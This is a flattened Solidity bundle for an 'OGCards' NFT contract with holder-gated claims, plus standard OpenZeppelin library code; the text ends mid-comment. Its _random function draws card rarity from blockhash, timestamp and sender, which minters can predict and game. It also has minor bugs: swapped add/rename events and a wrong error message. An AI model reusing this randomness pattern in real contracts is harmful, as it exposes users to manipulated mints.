// SPDX-License-Identifier: MIT pragma solidity >=0.8.4; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "./interfaces/IOGCardDescriptor.sol"; import "./interfaces/IENSHelpers.sol"; import "./interfaces/ICryptoPunks.sol"; contract OGCards is ERC721Enumerable, Ownable { using Strings for uint256; using SafeMath for uint256; using SafeMath for uint8; address private immutable _ogCardDescriptor; address private immutable _ensHelpers; address private immutable _cryptoPunks; // 0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb address private immutable _animalColoringBook; // 0x69c40e500b84660cb2ab09cb9614fa2387f95f64 address private immutable _purrnelopes; // 0x9759226b2f8ddeff81583e244ef3bd13aaa7e4a1 bool public publicClaimOpened = false; uint256 public baseCardsLeft = 250; uint256 public punkCardsLeft = 100; uint256 public acbCardsLeft = 30; uint256 public purrCardsLeft = 50; uint256 public gaCardsLeft = 50; uint256 private _nonce = 1234; mapping(address => bool) public hasClaimedBase; mapping(uint256 => bool) public punkClaimed; mapping(uint256 => bool) public acbClaimed; mapping(uint256 => bool) public purrClaimed; struct Card { bool isGiveaway; uint8 borderType; uint8 transparencyLevel; uint8 maskType; uint256 dna; uint256 mintTokenId; address[] holders; } mapping(uint256 => Card) public cardInfo; mapping(uint256 => mapping(address => bool)) private _alreadyHoldToken; mapping(address => string) private _ogName; // Events event OGCardMinted(uint256 tokenId); event OGAdded(address indexed og, string name); event OGRenamed(address indexed og, string name); event OGRemoved(address indexed og); constructor(address _cryptoPunks_, address _animalColoringBook_, address _purrnelopes_, address _ensHelpers_, address _ogCardDescriptor_) ERC721("OGCards", "OGC") { _cryptoPunks = _cryptoPunks_; _animalColoringBook = _animalColoringBook_; _ensHelpers = _ensHelpers_; _ogCardDescriptor = _ogCardDescriptor_; _purrnelopes = _purrnelopes_; // Claim 10 base cards for (uint8 i=0; i<10; i++) { _claim(msg.sender, 0, 0); } // Claim 4 giveaway cards for (uint8 i=0; i<4; i++) { _claim_(msg.sender, i, 0, true); } } function cardDetails(uint256 tokenId) external view returns (Card memory) { require(_exists(tokenId), "OGCards: This token doesn't exist"); return cardInfo[tokenId]; } // save bytecode by removing implementation of unused method function baseURI() public pure returns (string memory) {} function switchClaimOpened() external onlyOwner { publicClaimOpened = !publicClaimOpened; } // Withdraw all funds in the contract function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } modifier remainsSupply(uint256 cardsLeft) { require(cardsLeft > 0, "OGCards: no more cards of this type left"); _; } modifier claimOpened() { require(publicClaimOpened, "OGCards: claim is not opened yet"); _; } // Claim OGCards function claim() external claimOpened remainsSupply(baseCardsLeft) { require(!hasClaimedBase[msg.sender], "OGCards: you already claimed a base card"); hasClaimedBase[msg.sender] = true; baseCardsLeft--; _claim(msg.sender, 0, 0); } function punkClaim(uint256 punkId) external claimOpened remainsSupply(punkCardsLeft) { require(msg.sender == ICryptoPunks(_cryptoPunks).punkIndexToAddress(punkId), "OGCards: you are not the owner of this punk"); require(!punkClaimed[punkId], "OGCards: this punk already claimed his card"); punkClaimed[punkId] = true; punkCardsLeft--; _claim(msg.sender, 1, punkId); } function acbClaim(uint256 acbId) external claimOpened remainsSupply(acbCardsLeft) { require(msg.sender == IERC721(_animalColoringBook).ownerOf(acbId), "OGCards: you are not the owner of this ACB"); require(!acbClaimed[acbId], "OGCards: this ACB already claimed his card"); acbClaimed[acbId] = true; acbCardsLeft--; _claim(msg.sender, 2, acbId); } function purrClaim(uint256 purrId) external claimOpened remainsSupply(purrCardsLeft) { require(msg.sender == IERC721(_purrnelopes).ownerOf(purrId), "OGCards: you are not the owner of this ACB"); require(!purrClaimed[purrId], "OGCards: this Purrnelopes already claimed his card"); purrClaimed[purrId] = true; purrCardsLeft--; _claim(msg.sender, 3, purrId); } function giveawayClaim(address to, uint8 maskType) external remainsSupply(gaCardsLeft) onlyOwner { gaCardsLeft--; _claim_(to, maskType, 0, true); } // List every tokens an owner owns function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } // OGs function addOG(address _og, string memory _name) public onlyOwner { require(bytes(_name).length > 0, "OGCards: You must define a name for this OG"); require(_og != address(0), "OGCards: Invalid address"); if (isOG(_og)) { _ogName[_og] = _name; emit OGAdded(_og, _name); } else { _ogName[_og] = _name; emit OGRenamed(_og, _name); } } function addOGs(address[] memory _ogs, string[] memory _names) external onlyOwner { require(_ogs.length == _names.length, "OGCards: Invalid array length"); for (uint256 i=0; i<_ogs.length; i++) { addOG(_ogs[i], _names[i]); } } function removeOG(address _og) external onlyOwner { require(isOG(_og), "OGCards: This OG doesn't exist"); delete _ogName[_og]; emit OGRemoved(_og); } function isOG(address _og) public view returns (bool) { return bytes(_ogName[_og]).length > 0; } function ogName(address _og) public view returns (string memory) { return _ogName[_og]; } function holderName(address _holder) public view returns (string memory) { string memory ensDomain = IENSHelpers(_ensHelpers).getEnsDomain(_holder); if (isOG(_holder)) { return ogName(_holder); } else if (bytes(ensDomain).length != 0) { return ensDomain; } return _toAsciiString(_holder); } function ogHolders(uint256 tokenId) public view returns (address[] memory, string[] memory) { require(_exists(tokenId), "OGCards: This token doesn't exist"); Card memory card = cardInfo[tokenId]; uint256 count = 0; address[] memory ogs = new address[](card.holders.length); string[] memory names = new string[](card.holders.length); for (uint256 i = 0; i < card.holders.length; i++) { address holder = card.holders[i]; if (isOG(holder)) { ogs[count] = holder; string memory name = holderName(holder); names[count] = name; count++; } } address[] memory trimmedOGs = new address[](count); string[] memory trimmedNames = new string[](count); for (uint j = 0; j < count; j++) { trimmedOGs[j] = ogs[j]; trimmedNames[j] = names[j]; } return (trimmedOGs, trimmedNames); } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "OGCards: This token doesn't exist"); return IOGCardDescriptor(_ogCardDescriptor).tokenURI(address(this), tokenId); } // Before any transfer, add the new owner to the holders list of this token function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); // Save the holder only once per token if (!_alreadyHoldToken[tokenId][to]) { cardInfo[tokenId].holders.push(to); _alreadyHoldToken[tokenId][to] = true; } } function _claim(address _to, uint8 maskType, uint256 mintTokenId) internal { _claim_(_to, maskType, mintTokenId, false); } function _claim_(address _to, uint8 maskType, uint256 mintTokenId, bool isGiveaway) internal { uint256 mintIndex = totalSupply(); uint256 dna = _random(mintIndex, 100000); uint256 randomBorder = _random(mintIndex, 101); uint8 borderType = ( (isGiveaway ? 0 : (randomBorder < 50 ? 1 : // 50% (randomBorder < 80 ? 2 : // 30% (randomBorder < 94 ? 3 : // 14% (randomBorder < 99 ? 4 : 5)))))); // 5% && 1% uint256 randomTransparency = _random(mintIndex, 6); uint8 transparencyLevel = uint8(100 - randomTransparency); cardInfo[mintIndex].isGiveaway = isGiveaway; cardInfo[mintIndex].borderType = borderType; cardInfo[mintIndex].transparencyLevel = transparencyLevel; cardInfo[mintIndex].maskType = maskType; cardInfo[mintIndex].dna = dna; cardInfo[mintIndex].mintTokenId = mintTokenId; _safeMint(_to, mintIndex); emit OGCardMinted(mintIndex); } function _toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = _char(hi); s[2*i+1] = _char(lo); } string memory stringAddress = string(abi.encodePacked('0x',s)); return _getSlice(0, 8, stringAddress); } function _char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function _getSlice(uint256 begin, uint256 end, string memory text) internal pure returns (string memory) { bytes memory a = new bytes(end-begin); for(uint i=0;i<=end-begin-1;i++){ a[i] = bytes(text)[i+begin]; } return string(a); } function _random(uint256 _salt, uint256 _limit) internal returns (uint) { uint256 r = (uint256(keccak256(abi.encodePacked(blockhash(block.number-1), block.timestamp, msg.sender, _nonce, _salt)))) % _limit; _nonce++; return r; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; import "../OGCards.sol"; import "./IOGCards.sol"; interface IOGCardDescriptor { function tokenURI(address ogCards, uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; interface IENSHelpers { function getEnsDomain(address _address) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; interface ICryptoPunks { function punkIndexToAddress(uint256 tokenId) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract 